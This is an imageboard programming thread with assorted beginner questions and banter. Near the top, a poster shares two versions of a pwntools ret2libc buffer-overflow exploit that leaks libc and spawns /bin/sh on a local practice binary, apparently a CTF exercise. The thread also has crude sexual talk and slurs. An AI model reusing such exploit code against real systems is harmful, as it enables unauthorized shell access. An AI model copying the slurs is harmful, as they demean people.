/dpt/ - Daily Programmmmmmmmmming Thread

>Þe mæst good bitreckonerspræc for leornian in 2018 eart ænglisc idris.

What are you working on, Sup Forums?

Old thread:

Other urls found in this thread:

imgur.com/5Oao1xZ
github.com/tkarras/progressive_growing_of_gans
cs.nott.ac.uk/~psztxa/publ/Relative_Monads.pdf
humblebundle.com/books/python-by-packt-book-bundle?partner=indiekings
twitter.com/NSFWRedditVideo

c++ is the greatest language of all time

Idris sucks

APL is the only language worth using.

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

def wait_for_prompt(r):
print io.recvuntil("overflow me:")

exe = context.binary = ELF('bin')

libc_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_path)

def start(argv=[], *a, **kw):
return process([exe.path] + argv, *a, **kw)


#===========================================

io = start()

io.recvuntil('stdin: 0x')

leak_stdin = int(io.recvuntil('\n')[:-1],16)

libc.address = leak_stdin - libc.symbols['stdin'] + 0x860

bin_sh = libc.address + 0x164dc8
system = libc.symbols['system']

wait_for_prompt(io)

payload = 'A' * 76
payload += p32(system)
payload += p32(0x90)
payload += p32(bin_sh)

io.sendline(payload)

io.interactive()

programming circlejerk

/dpt/ classic

why's that?
>inb4 "because i have to type more things"

what foes it do?

you just gave a perfectly good (albeit singular) reason

Stick with haskell then.
Idris isn't for lazy shitters who don't want to actually program.

Results of training my pussy and dick hentai generator after 1 day: imgur.com/5Oao1xZ
Images are a bit low in resolution, but that's expected. The network learns to generate low resolution images first and gradually increases resolution for more stable training.

ur certainlly gradually increasing MY resolution user

good lad.
The nips are going to love you when you get this to decent resolutions.

...

>pussy and dick hentai generator
how does it work?

It's a ret2libc exploit. Pretty much a ret2libc exploit is a way to bypass stack protection such as having the NX (no execute) bit set, ASLR, etc. by directly calling pointers to libc to avoid executing code on the stack (which is set to non-executable via the NX bit) as opposed to writing shellcode into memory on the stack (or elsewhere) and jumping to it via overflowing the return pointer (which would require the memory location does not have no-execute protection for the most part) or something along those lines.

Here is something I posted yesterday of essentially the same exploit but with some crappy comments:


#!/usr/bin/python
import sys
import time
import argparse
from pwn import *
context.update(arch='i386', os='linux')

def wait_for_prompt(r):
print r.recvuntil("overflow me:")

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Exploit the bins.')
parser.add_argument('--dbg' , '-d', action="store_true")
args = parser.parse_args()

#Supply path to binary you are exploiting
exe = './bof5'

#Supply path to libc the binary is using
libc_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_path)

#Breakpoint and crap
if args.dbg:
r = gdb.debug([exe], """
b *0x08048522
continue
""")
else:
r = process(exe)

#Leak memory location of stdin
r.recvuntil('stdin: 0x')
leak_stdin = int(r.recvuntil('\n')[:-1],16)
f

#Set the base memory location of libc after doing various calculations in the debugger and stuff
libc.address = leak_stdin - libc.symbols['stdin'] + 0x860

#Set the addresses of libc system call and "/bin/sh" string found in libc, again using some calculations and crap.
bin_sh = libc.address + 0x164dc8
system = libc.symbols['system']

wait_for_prompt(r)

#Setup payload
#A bunch of characters that again have been calculated to lead right-up-to the return pointer (EIP) (basic buffer overflow stuff can explain more if you want)
payload = 'A' * 76

#Littleendian hex of memory location of pointer to libc system call
payload += p32(system)

#Return for libc system call, in this can can be literally anything pretty much because we aren't going to be returning from our system call really but using a nop just because
payload += p32(0x90)

#Littlendian hex of memory location of the pointer to /bin/sh string in libc
payload += p32(bin_sh)

#Sendstuff
r.sendline(payload)

r.interactive()

sounds really interesting, but you do this for fun or want to get a job doing penetration testing or something?

...

>Be me
>A Server having some problem in the office
>I am the only one with the server's password that can be contacted by office during the holiday
>The sysadmin got 404
>The server running Windows Server 2012
>SSH to server from home
>Figured out that someone typed the wrong timeout value
>Just need to modify a single number and everything going to work perfectly
>TFW windows doesn't have CLI file editor
>TFW the FTP server is down for maintenance
>TFW it's 2 hour drive from where I am right now to office (currently not in home)
>TFW it's 3AM in the morning

FUCKING WINDOWS

This exact example is for fun but I already have a job in a great role that covers networking/development/sysadmin/security/pen-testing and even some hardware stuff (picture related) which I very much enjoy so I'm not complaining.

Thank you for posting a bird!

>a bunch of enterprise(TM) words

>server
>windows

are you in germany?

>he used 12 hour time
No he obviously isn't you faggot

why the homophobia?

why couldn't you RDP

>main function is a mess
>every other function and file are squeaky clean
how does this happen?

Yeah, but the bigger goal is to automatically decensor hentai. This generator is one piece of the puzzle.
github.com/tkarras/progressive_growing_of_gans

>This generator is one piece of the puzzle.
Why not build a giant pussy and make it a puzzle, so you can rearrange the pieces and build a giant pussy?

Is RHCSA/RHCE worth it?

What is the connection between windows server and germany?

Is the course/cert paid for by someone and how much do you already know about Linux/CentOS/RH?

i'm in the UTC+00:00 and it was midnight, and he said it was 3 AM and in germany it's more 3 hours or so

I have been using Linux for some time (5 years) and I got an internship in Linux Systems last summer
I was thinking of self-studying it then apply for an exam

Where do you work and what's your job title?

>tfw don't understand Arrows

Doesn't it have a VNC server or RDP?

You'd be amazed how fast that bird could turn that keyboard into scrap. Mine's never left alone with access to my desk.

Sometime VNC and RDP connections are allowed only for select machine.
Probably that is why he use ssh in the first place.

I see people shitting on other people's language of choice so what is Sup Forums's certified language?

English

Whatever Lain uses.

APL.

From OP's writing, probably Old english is more appropriate

what is wrong with this

Reposting my question. I used Set-ExecutionPolicy to Unrestricted, and my program - after being compiled to a .exe - uses direct calls to Powershell to get the screen size; however, I still get the Powershell security exception about execution policy.

What if Lain got a new movie / season / (other series milking media)
and there Lain write something in javascript?

What if?

Forgot this detail: the Powershell command is successful if the .rb script is ran as normal. But it will not work as a .exe...

amazing

moar pics

post feet

s/&compareParticlePointer/compareParticlePointer&/

Suppose that I have a library of containers. Each containers have units called "Nodes". The type of Nodes vary from container to container.

How do I elegantly distinguish them?
I'm thinking specializing the nodes for contianers. For example,
Node
Node
Node

Nest them. Vector::Node, Stack::Node, RBTree::Node, etc.

Remove the & in front of compareParticlePtr on that line — functions names are pointers already.

cs.nott.ac.uk/~psztxa/publ/Relative_Monads.pdf

Monads don't have to be monoids in the category of endofunctors.

Can anyone help me with this? I want someone to give a Y/N answer to the marriage question and get one of the replies depending on what the answer was. How do I go about this? (c#)


static void Main(string[] args)
{

string yourName;
string yourLand;
string isMarried;
string isntMarried;

Console.WriteLine("What is your name?");
yourName = Console.ReadLine();
Console.WriteLine("Your name is {0}", yourName);

Console.WriteLine("Where do you live?");
yourLand = Console.ReadLine();
Console.WriteLine("{0} is a beautiful place!", yourLand);

Console.WriteLine("Are you married? [Y/N]");
isMarried = Console.ReadLine();
Console.WriteLine("I see you answered {0} and I am happy for you!", isMarried);
isntMarried = Console.ReadLine();
Console.WriteLine("I see you answered {0}, I am sorry to hear that but I am sure you will find someone soon!", isntMarried);

google if statements

>C# user
>Dumb as bricks
These memes play themselves out.

I just started today, why the hostility?

posting on Sup Forums when you're a beginner at anything is inviting yourself to be made fun of

y mi code no wrok
int main ( )
{
int * x;
printf ( "%d\n" ,
* x )
;return 0 ;
}

Learn to read books, faggot.

Because you haven't included #stdio.h

I understand, not sure I understand the c# dumb meme though, I thought that was javascript

U no insetl num too vra x
wrekt kod is :
int main ( )
{
int * x;
x = 10 ;
printf ( "%d\n" ,
* x )
;return 0 ;
}

chge 10 tooooo numbre yuu cthuss

but why do they when I can ask my cool Sup Forums friends? :)

Now you know.

* #Studio. H
user dont you even run your source code through spelling & grammar checks

>posts a penguin shitting
>proceeds too shitpost
seems legit

>dereferencing null pointers
Ah classic

is gcc able to detect identical string and make them point to the same string to reduce the program size?
for example :
naive code:
#include
void printadd(int a, int b){
printf("Output: %d\n", a + b);
}
void printmult(int a, int b){
printf("Output: %d\n", a * b);
}

"Optimized" code :
#include
const char * str = "Output: %d\n";
void printadd(int a, int b){
printf(str, a + b);
}
void printmult(int a, int b){
printf(str, a * b);
}

gcc is not ur mom, it's not going to clean up after you.

why do people shit on Atom?

Yes, it will handle that.
Storage spaces taken by static variables and string literals is usually not something worth worrying about anyway.

Atom's extensions suck.

vs code came and blew it away

Because it's shit, obviously.

Primarily because it's not vim.

That's shit too.

I like atom!

When I was learning C, my friend sends me his old C code, so I can use it for reference to do something,
and there is this line of code:
void somefunction(void)
{
char * string = /* some string text */;
//some code
if(status > 10)
{
string = 0; //status can't be over 10, this is the easiest way to quit the program
*string = *string;
}
}

Yes, you can check this with strings[/strings]. The spec explicitly allows for this.

Or you could just call abort() or some shit.

abuse

Old English is the greatest language of all time.

Wow, your friend is really an idiot.
That is bad way to terminate a program, also
*string = *string; might get optimized by the compiler, and that line being ignored.
The program only "exiting" if inside the code there is another line that dereference the *string, which now pointing to 0

you nee IF statement to check what the user entered

if (isMarried == "N") { Console.WriteLine("Not a fag!"); }

humblebundle.com/books/python-by-packt-book-bundle?partner=indiekings

is this worth it?

hey lads my 2d particles simulator's basically working now. However, in some rare instances where the collision solver didn't detect a collision before two circles have already overlapped. I want to ensure the 2 points will not interact again after a collision, what data structure I can use to keep track of this

How does it works under hood?
Do you use existing formulas for that or invented your own tricycle?

/dpt/ could we create a startup using Haskell and PureScript in Arizona?

I use simple detection scheme since they are just balls. when collision happens I change the velocity using a formula I found on wiki

Take the rest of the FP fags with you please.

Not sure what you meant by that. Generating high resolution images is hard because the number of parameters the network has to learn grows exponentially.

Anyway to replace a line in a file with C++?

what is the scheme? Checking the position and if difference between any X objects is smaller than radius then collision happened?

>I want to ensure the 2 points will not interact again after a collision, what data structure I can use to keep track of this
don't do that, thats incredibly inefficient
if two circles are overlapping, push them out of each other

In real life, when the balls collide they'll actually deform, and the energy transfer occurs because of the spring action in this deformation. You can either simulate this, or instead if you've detected an overlap, step the balls back to where they'd touch, perform the collision, then step them forward by that much along their new trajectories.